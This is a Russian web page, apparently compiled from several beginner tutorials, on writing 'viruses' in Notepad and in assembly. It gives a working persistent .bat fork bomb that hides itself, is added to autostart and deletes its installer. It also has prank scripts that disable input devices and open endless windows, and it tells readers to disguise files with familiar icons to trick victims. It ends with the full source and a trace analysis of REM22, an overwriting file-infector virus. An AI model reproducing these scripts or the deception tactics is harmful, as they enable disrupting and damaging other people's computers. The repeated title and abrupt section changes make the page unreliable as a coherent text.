Вирус на блюдечке. Как создать вирус в текстовом редакторе: в помощь новичкам Как делать вирусы

Вирус на блюдечке. Как создать вирус в текстовом редакторе: в помощь новичкам Как делать вирусы
Вирус на блюдечке. Как создать вирус в текстовом редакторе: в помощь новичкам Как делать вирусы

Создание самых простых вирусов не требует наличия специальных сред для разработки программ. И особых знаний, кстати, тоже. Создать вирусы довольно просто, если использовать для этого командную строку. Для этого нужно немного знать синтаксис командной строки и уметь создавать.bat-файлы.

Что такое.bat-файл и как его создать?

Если очень поверхностно, то это файлы с расширением.bat. Такие файлы несут в себе команды, которые должны быть выполнены командным интерпретатором Windows. Все те команды, которые можно выполнить в окне командной строки, можно вписать в.bat-файл и запустить. Результат будет одинаковым.

Чтобы создать.bat-вирус, нам нужен обычный текстовый редактор. В идеале подойдет для этих целей Блокнот. Создав и открыв новый текстовый документ, Вам нужно вписать туда тот код(команды), которые он должен выполнить. После этого, Вам нужно с помощью меню Сохранить как сохранить этот файл, задав ему какое-либо имя с расширением .bat и указав тип файла Все файлы.

Создаем простейший вирус

В данной статье мы рассмотрим создание вируса, который после своего запуска будет бесконечно открывать окно командной строки. Бесконечно и очень быстро открывающиеся окна командной строки не дадут пользователю спокойно работать. Закрыть их всех не успеет никто и очень скоро они забьют оперативную память компьютера, что в свою очередь сильно затормозит работу компьютера, вплоть до полного зависания. Выглядеть это будет приблизительно так:

Вдобавок, мы закинем наш вирус в автозагрузку, что обеспечит автоматический запуск вируса вместе с операционной системой.

Код создаваемого вируса

Сколько программистов, столько разных решений можно придумать для каждой задачи. Я приведу один из своих методов решения такой задачи.

md c:\papka
echo start c:\papka\virus.bat>c:\papka\virus.bat
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v virus /d c:\papka\virus.bat
attrib +r +h +s c:\papka
attrib +r +h +s c:\papka\virus.bat
start c:\papka\virus.bat
del %0

А теперь разберем сам код. Первая строчка создает папку с именем papka в корне диска C:/ . Такой адрес приведен только для примера. Использование же корня папки C:/ не совсем хороший вариант для вируса. Если Вы хотите обеспечить хорошую выживаемость Вашему вирусу, лучше всего спрятать его подальше. Первую команду можно даже пропустить, если Вы закинете сам вирус в уже созданную директорию.

Вторая строчка создает файл c:\papka\virus.bat и, с помощью команды echo, вписывает в него команду start c:\papka\virus.bat . Тут нужно знать, что после знака > указывается место вывода приведенной команды. Тут Вам нужно познакомится: c:\papka\virus.bat и есть основное тело вируса. Созданный нами.bat-файл с кодом, который мы сейчас разбираем, является всего лишь установщиком нашего основного вируса. Вы можете использовать другое название и другое местоположение для вируса.

Третья строчка закидывает созданный нами во второй строчке тело вируса в автозагрузку. Для этого используется пользовательская ветка реестра, так как к ней у пользователя всегда есть доступ. А вот использовать автозагрузку компьютера не безопасно, так как пользователь может не иметь административного доступа, что вызовет ненужную ошибку.

Четвертая и пятая строка кода изменяют атрибуты вируса и папки, где хранится вирус. Данными командами, а для этого используется , мы добавляем атрибуты Только чтение, Скрытый и Системный и для папки, и для вируса. Использование атрибута r(Только чтение) необязательно. А вот атрибуты Скрытый и Системный хорошо защитят созданный нами вирус. Если не верите, то почитайте статью про вирус, который . Он использует именно эту технологию.

6-ая строчка кода запускает наш вирус. Вы можете пропустить этот пункт, если хотите, чтобы первый запуск вируса произошел только после перезагрузки компьютера.

И, наконец-то, последняя, 7-ая строчка удаляет данный.bat-вирус. Это полезно, так как по этому.bat-файлу можно спокойно выйти на созданный нами вирус и удалить его.

Смысл созданного вируса

Смысл вируса, который уместился в эти 7 строк - создать основной вирус, защитить его и обеспечить его постоянную работу. А так же подмести свои следы. А что делает основной вирус? После запуска основного вируса, он выполняет ту команду, которая вписана в нее. А это команда, в свою очередь, запускает наш вирус, который опять-таки снова запускает самого себя. И так до бесконечности.

Как бороться с такими вирусами?

Во-первых, начало борьбы с данным вирусом начнется после того, как он запуститься. Очень скоро вирус заполнит своими копиями оперативную память и Вы даже мышкой шевельнуть не сможете. Поэтому, такой спектакль нужно пресекать сразу. Для этого прекрасно подойдет кнопка Break на клавиатуре. Жмите ее столько, сколько понадобится, чтобы новые копии перестали создаваться. На клавиатурах без кнопки Break, может помочь сочетание клавиш Ctrl+C.

Как удалить такой вирус?

Вы можете через его запись в автозагрузке(подробнее по ссылке). А так же Вы можете выйти на вирус по команде, которая будет высвечиваться в окне командного интерпретатора. Естественно, если Вы сможете добраться до скрытого и системного файла. Вот таким образом происходит создание простого вируса.

Вирусы пишут, как правило, для того, чтобы подпортить жизнь другому - "съесть" свободное место на его ПК, вывести из строя систему, "взломать" пароли и т. д. Несмотря на такие последствия, существуют вирусы, созданные, чтобы просто посмеяться над приятелем. Пишется такой вирус за пять минут, и он не вытворяет с системой ничего критического. Наиболее распространенными вирусами-шутками являются выключение ПК, многократное открытие одной и той же программы, вывод смешного текста.

Подобные простенькие вирусы создаются в стандартном Блокноте (Notepad), разве что сохраняются не с разрешением.txt, а в формате командного файла.bat.

Как сделать вирус

Рассмотрим поэтапно, как написать вирус, открывающий многократно одно приложение.

  1. Открываем блокнот - для этого на рабочем столе щелкаем правой кнопкой мыши и выбираем "Создать"→"Текстовый документ".
  2. Начинаем наполнять наш вирус командами
    • @echo off //в данной строке запрещаем вывод команд
    • echo "процесс запущен" //текст, который увидит пользователь
    • start mspaint
    • goto:p //многократный запуск программы paint
    • pause //нажатие любой клавиши
    • del %0 //самоуничтожение вируса
  3. У сохраненного файла меняем значок на более популярный (браузер, word и т.д) и прописываем соответствующее имя.

Ещё несколько возможных розыгрышей:

Некое подобие заставки фильма "матрица"

  • @echo off
  • color 2
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • goto:a
  • pause

Смена работы кнопок мыши

  • %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Смена времени

  • time 0:00

Отключение клавиатуры

  • rundll32 keyboard,disable

Отключение мыши

  • rundll32 mouse,disable

Мы рассмотрели самые простые и безобидные способы, как напакостить приятелю. В действительности, изучив системные команды, можно безвозвратно "положить" систему на чужом компьютере (да и на своем по неосторожности).

О существовании разных видов вирусов вы можете также узнать из статьи , но углубляться в данную тему не стоит, чтобы не создавать себе и другим лишних проблем. Лучше позаботиться о защите собственного компьютера и поставить надежную антивирусную программу, дабы самому не попасться на розыгрыш друга или врага.

Вирусы-шутки - это несложные программы, которые можно подсунуть другу (или врагу), и тот будет думать, что его компьютер взломан, поражен вирусом или серьезно поврежден. Вирусы-шутки можно писать в обычном Блокноте: нужно лишь записать в файл команды, которые замедляют работу компьютера, выводят из строя работу операционной системы или просто пугают пользователя, а затем заставить его запустить этот файл. Вирусы-шутки могут быть чем угодно, начиная от надоедливой неприятности и заканчивая кошмаром, нарушающим работу системы. «Вирусы» из этой статьи предназначены только для безобидных шуток, самое худшее, что они могут сделать, - это выключить компьютер. Внимание: эти вирусы-шутки предназначены только для компьютеров под управлением Windows, они не будут работать на Mac OS без специальной подготовки. Начнем с шага 1.

Шаги

Пишем поддельный вирус, открывающий «бесконечные» окна

Запустите Блокнот. Пакетные (.BAT) файлы содержат команды для компьютера в текстовом виде. Для того, чтобы написать BAT-файл, не нужен специальный редактор - достаточно Блокнота из стандартного набора программ Windows. Блокнот можно найти в меню «Пуск» или в подменю «Стандартные». Открыть Блокнот можно также, нажав сочетание клавиш Win+R, в текстовом поле появившегося диалогового окна набрать «notepad» и нажать Enter.

Наберите «@echo off», а затем, с новой строки, «CLS». По умолчанию BAT-файлы открывают окно командной строки и выводят исполняемые команды. Команды «@echo off» и «CLS» предотвращают появление команд в окне командной строки, делая причину шутки невидимой для «жертвы».

Напишите команды для открытия множества (или бесконечного количества) окон. Теперь наступило время написать последовательность команд, исполняя которые, ваш поддельный вирус откроет много окон разных программ один раз или будет отрывать эти окна бесконечно. Важно знать, если бесконечно открывается очень много окон, компьютер в конце концов может зависнуть. Читайте далее о том, как сделать оба вида «вируса»:

  • Чтобы открыть определенное количество окон, с новой строки наберите в Блокноте следующую команду: start (название программы) . Вместо фразы в скобках введите название программы на компьютере «жертвы» или или полное имя исполняемого файла. Эта команда дает инструкцию компьютеру открывать окно указанной программы. Например, start iexplore.exe откроет окно Internet Explorer. Повторите команду «start» столько раз, сколько захотите, и ваш «вирус» откроет окно столько раз, сколько вы укажете. Вот несколько программ которые можно ввести после команды «start»:
    • iexplore.exe - браузер Interent Explorer
    • calc.exe - Калькулятор
    • notepad.exe - Блокнот
    • winword.exe - Microsoft Word
  • Чтобы открыть бесконечное количество окон, сначала с новой строки наберите :A , включая двоеточие. На следующей строке наберите start iexplore.exe (или другую программу). И, наконец, строкой ниже наберите goto A . Эта последовательность команд заставит компьютер открывать окно Internet Explorer (или любой другой программы), возвращаться к месту непосредственно перед открытием окна, а затем сразу же открывать новое окно, пока окно командной строки не будет закрыто или компьютер не зависнет.
  • Напишите в «вирусе» сообщение. Для устрашающего эффекта можно добавить в «вирус» сообщение, которое заставит пользователя думать, что с его компьютером что-то не так. Чтобы отобразить сообщение, начните новую строку и наберите echo Ваше сообщение . Затем с новой строки наберите pause . Команда «pause» остановит выполнение «вируса» после появления сообщения.

    • Чтобы ваша шутка была правдоподобной, напишите сообщение, похожее на настоящие сообщения об ошибках, например: Фатальная ошибка. C:// каталог поврежден.
  • Сохраните текст как пакетный файл. Когда закончите, в меню Блокнота выберите Файл > Сохранить как... , а затем укажите расширение файла «.bat» (например, «pinball.bat»). В выпадающем списке «Тип файла» выберите «Все файлы». Сохраните файл где нибудь на компьютере «жертвы».

    Заставьте пользователя открыть файл. Чтобы ваша шутка сработала, нужно сделать так, чтобы «жертва» запустила ее. Этого можно добиться разными способами. Один из самых работающих - создать ярлык для своего пакетного файла и изменить его иконку на что-то, чем пользователь действительно пользуется, а затем изменить название ярлыка, чтобы оно соответствовало иконке. Откиньтесь на спинку кресла и наблюдайте за результатами из удобного места!

    Как написать.VBS с сообщением об ошибке или взломе

    Запустите Блокнот. Как и в предыдущей шутке, в этой нужно написать в Блокноте несколько простых команд. Однако на этот раз эффект будет другим - вместо открытия окон это шутка создает несколько сообщений с ошибками, которые заставят пользователя думать, что его в работе операционной системы произошла ошибка или что компьютер был взломан.

    Наберите "x=msgbox("Текст сообщения", 5+16, "Заголовок сообщения") точно так, как здесь указано, включая скобки и кавычки, и замените «Текст сообщения» и «Заголовок сообщения» желаемым текстом. Эта команда открывает стандартное диалоговое окно ошибки Windows с указанными вами сообщением об ошибке и заголовком окна. Чтобы ваша шутка была правдоподобной, используйте сообщения и заголовки, похожие на настоящие. Например попробуйте в качестве заголовка "Ошибка терминала", а в качестве сообщения - "В каталоге C://Users/Windows/system32 обнаружена критическая неисправность".

    • Возможно, вам захочется развить свою шутку в направлении взлома. В таком случае используйте сообщения вроде: «Я имею полный доступ к вашей системе. Приготовьтесь ко взлому». На самом деле ничего такого не случится, так что это сработает только с людьми, которые плохо разбираются в компьютерах.
    • Выражение «5+16» указывает компьютеру создать диалоговое окно с иконкой критической ошибки и двумя кнопками «Повтор» и «Отмена». Изменяя эти числа, можно получить разные типы окон с ошибками. Просто подставьте из приведенных ниже чисел любое число из одной цифры вместо 5 и любое число из двух цифр вместо 16:
      • 0 (Кнопка OK)
      • 1 (Кнопки OK и Отмена)
      • 2 (Кнопки Отмена, Повтор и Пропустить)
      • 3 (Кнопки Да, Нет, и Отмена)
      • 4 (Кнопки Да и Нет)
      • 5 (Кнопки Повтор и Отмена)
      • 16 (Иконка критической ошибки)
      • 32 (Иконка помощи)
      • 48 (Иконка предупреждения)
      • 64 (Иконка информации)
  • Повторяйте сообщение об ошибке сколько вам угодно. Повторяйте команды, приведенные выше столько раз, сколько пожелаете, с любыми сообщениями об ошибках. Сообщения будут появляться одно за другим, то есть, как только пользователь закроет одно сообщение, откроется другое. Можете использовать этот факт, чтобы создать длинное сообщение, которое будет носить все более неотлагательный характер.

    Сохраните документ как файл Visual Basic (VBA). Когда вы введете все желаемые сообщения, сохраните файл. В меню Блокнота выберите Файл > Сохранить как... , дайте своему файлу имя с расширением «.vba». Обязательно выберите «Все файлы» из выпадающего списка «Тип файла». Теперь, чтобы шутка удалась, нужно заставить «жертву» запустить этот файл, например используя трюк из метода 1.

    Используем предварительно написанный пакетный файл

    Запустите Блокнот. Это шутка использует команды из Блокнота, чтобы заставить компьютер открывать программы случайным образом до тех пор, пока пакетный файл не будет отключен или компьютер не зависнет. Чтобы сделать эту шутку, вам просто нужно скопировать и вставить команды, указанные в этом разделе. Однако заметьте, что это сработает не на всех компьютерах.

    Скопируйте и вставьте следующие команды: @echo offclsbegingoto %random%:1start cmd.exegoto begin:2start mspaint.exegoto begin:3start pinball.exegoto begin:4start iexplore.exegoto begin:5start explorer.exegoto begin:6start solitaire.exegoto begin:7start explorer.exegoto begin:8start edit.exegoto begin:9start iexplore.exegoto begin:0start mspaint.exegoto begin

  • Изменяйте эти команды на свое усмотрение. Этот код случайным образом бесконечно открывает программы, указанные после слова «start». Возможно, вы заметили, что некоторые программы повторяются. Изменяйте список программ, как вы того пожелаете.

    • Заметьте, что некоторые названия программ, перечисленных выше, могут быть неправильными для некоторых машин, например на некоторых компьютерах может не быть «pinball.exe». Следует проверить дважды правильность названий программ, перед тем как перемещать вирус-шутку на компьютер «жертвы».
    • Если вы сомневаетесь в названии какой-то программы, помните, что точный путь программы тоже подходит. Например, вместо «iexplore.exe» можно написать «C:\Program Files\Internet Explorer».
  • Сохраните текст как пакетный файл и запустите его (если отважитесь). Сохраните файл с расширением «.bat», выбрав «Все файлы» из выпадающего списка «Тип файла». Когда вам удастся заставить пользователя запустить его, он начнет случайным образом без остановки открывать программы в компьютере.

    • Чтобы было веселей, попробуйте заменить в одной из команд "*.exe" на полный путь к какому-либо документу пользователя. Например, "start C:\Документы\123.doc" откроет документ 123.doc из папки «Документы» в редакторе по умолчанию, а
      edit (полное имя файла)
      goto begin
      откроет указанный файл в текстовом редакторе DOS. Это будет выглядеть так, как будто хакер читает личные документы. Помните, что имя файла, содержащее пробелы, должно заключаться в кавычки!
  • Для того, чтобы понять насколько Ваш компьютер не защищен от действий злоумышленников, предлагаю создать несколько простеньких вирусов самому. Благодаря этому Вы поймете, что любой компьютер подчиняется не только нажатиям клавиш. Компьютер получив всего одну команду (нажатие на иконку файла, можно и без него), может начать самостоятельно открывать, создавать, удалять, переименовывать и т.д.
    Как правило расширение этих файлов.bat .exe - перед точкой любое придуманное имя.

    - Файл.bat создается в обычном блокноте, при сохранении используется расширение.bat, вместо.txt (по умолчанию Безымянный.txt или *.txt).
    Пример: открываем стандартный блокнот пишем mspaint - всего 7 букв, сохраняем этот файл (файл - сохранить как) не как обычно, а пишем вместо "Безымянный.txt" - myfile.bat. Естественно, вместо myfile любое удобное название.

    Если Вы выполнили вышеуказанные действия, то поздравляю: вами создан первый командный файл, который, при нажатии на него, откроет рисовальщик Paint (есть в любой Windows).

    - Файл.exe компилируется специальной программой из bat файла (не только из него) для маскировки или другой функциональности.
    Подобных программ компиляторов существует много, одну из них можете скачать ниже в комплекте с набором заготовок для экспериментов с bat файлами.
    Скриншот программы Bat Exe Converter:


    Но командные файлы могут быть и не такие безвредные, как описанный выше. Достаточно изменить его содержимое, как ваш компьютер начнет выполнять любые прописанные в нем команды.

    Приведу примеры результатов команд, которые можно назвать просто шутками над товарищем:
    - Изменить дату на компьютере, допустим 1812 год или день Вашего рождения;
    - Постоянно много раз подряд открывать Paint, Калькулятор, Ошибку...;
    - Поменять кнопки мыши местами;
    - Отключить компьютер;
    - Заставить компьютер постоянно перезагружаться;
    - Переименовать имя жесткого диска;
    - Удалить все файлы из папки в которой лежит данный файл (не дай бог, если это рабочий стол);
    И так далее, практически можно придумать любые шутки. Это зависит от изощренности мышления мстителя.

    Ниже приведены жестокие действия, на которые способен этот файл, здесь уже не до шуток:
    - Возможность самостоятельно записываться в любое место, включая флешку;
    - Иметь скрытый атрибут, быть не видимым, как и исполнение его команд;
    - Переименовать все файлы на компьютере, допустим.lnk переделать в.txt, а необходимые в работе.exe назвать.mp3. Результат: ярлыки будут открываться в блокноте, рабочие программы пытаться открыться в плеере.
    - Множественное количество раз скрыто открывать одну и ту же программу, для торможения компьютера;
    - Добавлять вирус в автозагрузку, при включении компьютера;
    - Полное удаление без возможности восстановления какой-либо программы. Обычно программы установлены по умолчанию в определенной директории и хакеру это известно...
    На этом список только начинается. Но мы остановимся, ведь этого уже предостаточно для того, чтобы компьютер перестал работать.

    Для того, чтобы описанное выше не было голословным, ниже Вы можете скачать архив.
    В нем лежит:
    - текстовый файл "Самоучитель.txt" с описанием кодов bat и приведенных живых примеров.
    - Программка для компиляции файлов в.exe
    - Изменение кнопок мыши для примера
    - Безобидные полезные готовые файлы bat:
    otkl-60.bat - отключение компьютера через 60 секунд
    otkl-60-otmena.bat - отмена отключения
    Paint.bat - включаем Paint
    Simvol.bat - открываем таблицу символов

    Скачать создание вирусов для защиты от них - Врага надо знать в лицо:

    При загрузке антивирус вашего компьютера может начать ругаться и правильно сделает.
    Будьте осторожны! После скачивания архива и его распаковки не нажимайте на файлы без изучения инструкции или данной статьи.

    Проверить содержимое файла.bat можно нажатием на него правой клавишей мыши и выбором из всплывающего меню пункта "Изменить":


    Перед экспериментами убедительно прошу Вас создать резервную точку восстановления системы.

    Надеюсь эти эксперименты убедят Вас в том, что нужно внимательнее относиться к чужеродным файлам и программам, которые открываются и устанавливаются нами на компьютер. Будьте внимательны при работе с почтой: не скачивайте и тем более не открывайте файлы, подобные нашим примерам.

    Заканчиваю на минорной ноте: Осторожно! Вирусы всюду!

    "Он долго куда-то ехал в неудобной жесткой упаковке, его трясло и укачивало, тело требовало пищи. Он не понимал, почему его, только-только появившегося на свет, вышвырнули из дома... Наконец тряска прекратилась, и кто-то чужой и грубый вскрыл приаттаченный к письму архив. Молодой, любопытный вирус высунулся наружу и совершил свое первое деление..."

    В этой статье я поделюсь опытом вирусописания. Основной принцип деятельности любого вируса можно выразить в нескольких словах: тело вируса во время его выполнения трактуется, как код, а во время заражения, как данные. Существует много типов вирусов и различных способов заражения. Естественно, сам механизм действий вируса зависит от конкретной операционной системы. Есть, например, вирусы, работающие в защищенном режиме процессора (режим максимальных
    привилегий и абсолютной адресации всей памяти). На лечение таких экземпляров таким компаниям, как AVP, приходится тратить очень много времени и ресурсов. Единственное, что спасает создателей антивирусов - очень малое число реально профессиональных вирусов.

    Для того, чтобы научиться самому писать вирусы необходимо лишь знание основ ассемблера. Я имею в виду, что при начальных знаниях ты можешь пробовать писать собственные вирусы и исследовать уже существующие. Другие полезные, а порой необходимые,
    знания придут по мере твоего изучения чужих творений. Из ресурсов по этой теме могу посоветовать страничку, содержащую огромное количество книг и статей:
    http://vx.netlux.org/lib_rus.shtml .
    Все ее документы написаны на очень понятном и доступном
    языке. Так же существует известный электронный журнал Infected Voice. В нем есть удобная система навигации, позволяющая ориентироваться в новых материалах (исходниках и статьях). Этот журнал выходит раз в пол года (по крайней мере так было раньше, сейчас не уверен) и содержит все нововведения в этой области.

    Предположим ты нашел исходник какого-либо вируса и хочешь его исследовать. Как это сделать? Честно говоря, я сам столкнулся с такой проблемой в самый первый раз. У меня вопрос стал так: есть текст вируса, хочу посмотреть, как он работает, и при этом Я ЕГО БОЮСЬ! Это полностью реально: что помешает этому вирусы спалить мой CMOS или потереть мой винт? Ответ: ничто. При твоих неправильных действиях вирус может причинить тебе тот вред, на который запрограммирован. Однако, алгоритм правильных действий достаточно прост. Сейчас мы в нем и разберемся.

    Будем считать, что исходник вируса написан на ассемблере. Этот язык идеально подходит для написания вирусов. Как известно, в
    ассемблере есть только две команды вызывающие "реальные" (имеются в виду действия, способные произвести
    необратимые изменения на жестком диске или еще где-нибудь) это "INT" и "OUT", все остальные команды работают с регистрами процессора и флагами (хоть и достаточно грубо, но по большому счету верно). Мы не рассматриваем функции WIN API, так как их в принципе можно считать заменой прерываний DOS, а их вызов - заменой команды
    "INT".

    Небольшая справка для новичков или давно не писавших на асме: команда "INT" служит для вызова прерываний DOS или BIOS, а команда "OUT" для записи данных в порт. При этом для команды "INT" номер функции указывается в регистре AH (чаще всего), а
    для команды "OUT" в регистрах AL, AX, EAX хранятся данные, записываемые в порт.

    Итак. Возьми любой отладчик. Так как для начала нужно разбираться в вирусах под DOS (они по-прежнему работают и под
    Win), то подойдет любой отладчик: Turbo Debugger от Borland Inc., CodeView от MicroSoft, AFDPRO или AVPUTIL. Далее, загрузи исходник в отладчик и пошагово трассируйте. Главное придерживаться ТОЛЬКО ОДНОГО ПРАВИЛА. Его можно назвать золотым.
    ВНИМАНИЕ: ты можешь смело выполнять исходный код твоего вируса, но как только ты дойдешь до команд "OUT" или "INT" сразу останавливайся и начинай анализ.

    Ты должен проанализировать:

    • номер вызываемого прерывания или порта записи;
    • номер вызываемой функции или данные, записываемые в порт.

    Для того, чтобы разобраться с реальными действиями этих команд используй либо Tech Help, либо любую доку по асму, либо любую
    книгу. Главное, чтобы в твоем источнике можно было найти инфу по всем прерываниям и портам.
    Таким образом, ты можешь понять, что будет делать
    следующая команда, не выполнив ее у себя на компьютере. Во время трассировки, записывай все данные (состояние регистров, адреса команд, данные о
    вызываемых функциях и т.д.) на листочек бумаги. Тогда к моменту вызова функции (или записи в порт) ты будешь во всеоружии и сможешь определить, что произойдет, если ты выполнишь следующую команду. Так же это поможет тебе при сравнительном анализе изменений в регистрах и флагах.

    После того, как ты поймешь, что делает та или иная команда ("INT" или "OUT"), пропусти ее и иди дальше, пока не
    встретишь конец файла или следующую такую команду. В результате ты разложишь любой вирус по полочкам и разберешься в его функционировании.

    Давай рассмотрим пример. В качестве оного я взял небольшой вирус, написанный неким Reminder"ом. Я достал его из одиннадцатого номера Infected Voice"а. Там он был без комментариев, так что всю работу пришлось проделать самому. Что меня
    привлекло в этом творении: очень маленький исходный код, очень маленький размер откомпилированного экзешника, непонятный (на первый взгляд) алгоритм. Вот его исходный код (кстати, называется он REM22):

    Model tiny
    .code
    .startup
    start:
    pop cx
    hel:
    xchg ax,bx
    db 108h shr 1
    db 4eh ; dec si
    db 9eh shr 1
    db 3ch ;cmp al,xx
    db 100h shr 1
    db 40h
    fmask db "*.*",0
    lodsw
    cwd
    mov dl,al
    shl dx,1
    int 21h
    jmp hel
    end

    Этот вирус на мой взгляд является шедевром, так как при таком маленьком размере
    организовать механизм размножения - работа по истине гения. Когда мы сейчас разберем, что и как он делает, все
    станет на свои места. А пока надо заметить: в принципе, этот вирус не несет каких-либо деструктивных действий (думаю, размножение нельзя считать таковым), однако заражает все файлы
    в одном с ним каталоге. Он не является "профессиональным" вирусом, то есть в нем отсутствуют многие механизмы, характерные для серьезных творений:

    • отсутствует механизм "свой/чужой" (вирус заражает всех без разбора, даже себя или уже зараженные объекты);
    • заражение происходит только файлов в одном с ним каталоге (попробуй его скомпилировать и запустить в папке, где кроме него
      никого нет:));
    • вирус не является полиморфным (не шифрует сам себя и не меняет свой код);
    • вирус не несет деструктивных действий;
    • вирус не является резидентым.

    Давай заглянем к внутрь нашего
    оверрайетера. Исходник представляет из себя модель для создания exe-файла. ".startup" это директива TASM"а, без нее можно обойтись, но тогда придется писать "org 100h", а потом ставить метку (и
    в конце, после "end", ставить имя метки). Остальные команды можно без проблем найти в любой книжке и посмотреть, что они делают (не ленись). Осталось только разобраться, что делают эти команды вместе в совокупности.

    Данный шедевр - это обыкновенный цикл, который повторяется 6 раз. Что же происходит в цикле? А происходит то, что мы вызываем int 21h с шестью разными функциями (93, 4E, 3C, 40, 2E, 00). Смотрим
    по порядку, значит:

    "pop cx" - это только для обнуления сх (в вершине стека, как ты знаешь, вначале проги лежит зеро). Зачем? А чтобы на команде SUB CH, (поищи, оно должно быть по смещению 108h в дебаггере) получить CH=01 (по смещению 2Ah (это в PSP где-то) всегда лежит FFh), т.е. можно не выпендриваться и просто написать sub ch,ffh, но это изменит код проги... Получается:
    *.*,0 = sub CH,, а это уже готовая маска для поиска... ВОТ ГДЕ ГЕНИАЛЬНОСТЬ!!!

    То есть sub ch,ffh - это "Aе " (в ASCII кодах с пробелом в конце). Дальше, все что идет со смещения 101 (code 93) до смещения 10B (code 00) - это ФУНКЦИИ ДЛЯ int 21h!!! Т.е. это 6 функций, которые мы по очереди вызываем в цикле (см. выше их номера), а код, который при этом получается - это просто мишура. Это не имеет АБСОЛЮТНО НИКАКОГО СМЫСЛА! ТАК ПОЛУЧИЛОСЬ, ЕСЛИ СОБРАТЬ ФУНКЦИИ ПОДРЯД. То есть, если я напишу TANAT, то это переведется в последовательность каких-то команд, ведь так? Но это по сути данные... хотя в данной проге - это и данными не назовешь, это просто ФУНКЦИИ для int 21h, вот в чем
    ГЕНИАЛЬНОСТЬ!!! Дальше рассказывать смысла нет - потому как в каждом из шести циклов происходит вызов функции, ну и все регистры приблизительно
    подогнаны под идеалы... Смотри:

    В первый раз вызывается 93h функция: Pipe (Error) - она для самой проги НЕ ВЫПОЛНЯЕТ НИКАКОЙ НАГРУЗКИ, НИЧЕГО ПОЛЕЗНОГО НЕ ДЕЛАЕТ, ЭТО ПРОСТО ИЗЛИШЕК, ОНА НЕ НУЖНА, ЭТО ЛИШНИЙ ЦИКЛ, НО УЧИТЫВАЯ гениальность кода, она просто ВОЗНИКАЕТ САМА ПО СЕБЕ И ОТ НЕЕ НИКУДА НЕ ДЕНЕШЬСЯ!!! Будет еще одна такая "левая" функция - см. дальше.

    Вторая: 4Eh - вот это уже то, что надо! Поиск файла, причем к моменту вызова в dx находится смещение маски файла (108h)!!!

    Третья: 3Ch - создание файла. Это еще одна "левая" функция. Она нам ни к чему. Нам незачем создавать файл (ведь мы должны только записать себя в тот файл, что нашли в предыдущем шаге). В DX лежит какой-то левый мусор, естественно с
    именем файла ничего общего не имеет, поэтому CF=1 и мы переходим на следующий цикл.

    Четвертая: 40h - Запись в файл. А вот это то, что нам надо уже! DX содержит смещение 100h (т.е. начало REM22), а вот CX немного подвел - он равен 400h, т.е. реально в начало найденного файла
    запишется 400h байт, тогда как REM22 занимает всего 22 байта, т.е. запишется 1002 лишних байта. Это так. Но учитывая гениальность кода:), это можно простить.

    Пятая: 2Eh - Set Verify Flag. Это САМАЯ ЛЕВАЯ функция, тут она просто - аппендикс проги.

    Шестая: 00h - это оказывается выход из проги (я тоже не знал).

    Вот и все: то есть мы имеем 6 циклов, из которых смысловых только 3: поиск, запись и выход.
    Скорее всего тебе будет очень многое не
    поянтно. Чтобы разобраться, загрузи исходник в отладчик, потрассируй его, посмотри
    на состояние данные в регистрах, посмотри на мои комментарии. Тогда все станет ясно. В заключение
    привожу отладочную таблицу, чтоб ты не составлял ее сам (за одно и посмотришь, как она должна выглядеть). В принципе ее одной должно хватить,
    для понимания того, что происходит в этом вирусе, но, думаю, комментарии будут не лишними.

    ADR CODE ASM 1 2 3 4 5 6
    100 59 POP CX CX =0 - - - - -
    101 93 XCHG AX, BX AX =BX=0 AX =0, BX=9300h AX =9300h, BX=0 AX =0, BX=0005h AX =0005h, BX=0400h AX =0400h, BX=2E00h
    102 84 4E 4F TEST B+4Fh,
    CL
    - - - - - -
    105 3C 80 CMP AL,
    80h
    - - - - - -
    107 40 INC AX AX =0001h AX =0001h AX =9301h AX =0001h AX =0006h AX =0401h
    108 2A 2E 2A 00 SUB CH, B CX =0100h CX =0200h CX =0300h CX =0400h CX =0500h CX =0600h
    10C AD LODSW (DS:SI->AX) AX =DS:
    100=9359h
    AX =DS:
    102=4E84h
    AX =DS:
    104=3C4Fh
    AX =DS:
    106=4080h
    AX =DS:
    108=2E2Ah
    AX =DS:
    10A=002Ah
    10D 99 CWD (DX=E(AX)) DX =FFFFh DX =0000h DX =0000h DX =0000h DX =0000h DX =0000h
    10E 8A D0 MOV DL, AL DX =FF59h DX =0084h DX =004Fh DX =0080h DX =002Ah DX =002Ah
    110 D1 E2 SHL DX, 1 DX =FEB2h DX =0108h DX =009Eh DX =0100h DX =0054h DX =0054h
    112 CD 21 INT 21h AH =93 (Pipe) - Error AH =4E
    (FindFirst)
    AH =3C (CreateFile) AH =40 (WriteFile) AH =2E (SetVerifyFlag) AH =00 (Terminate)
    114 EB EB JMP SHORT 101 ??? - - - ??? -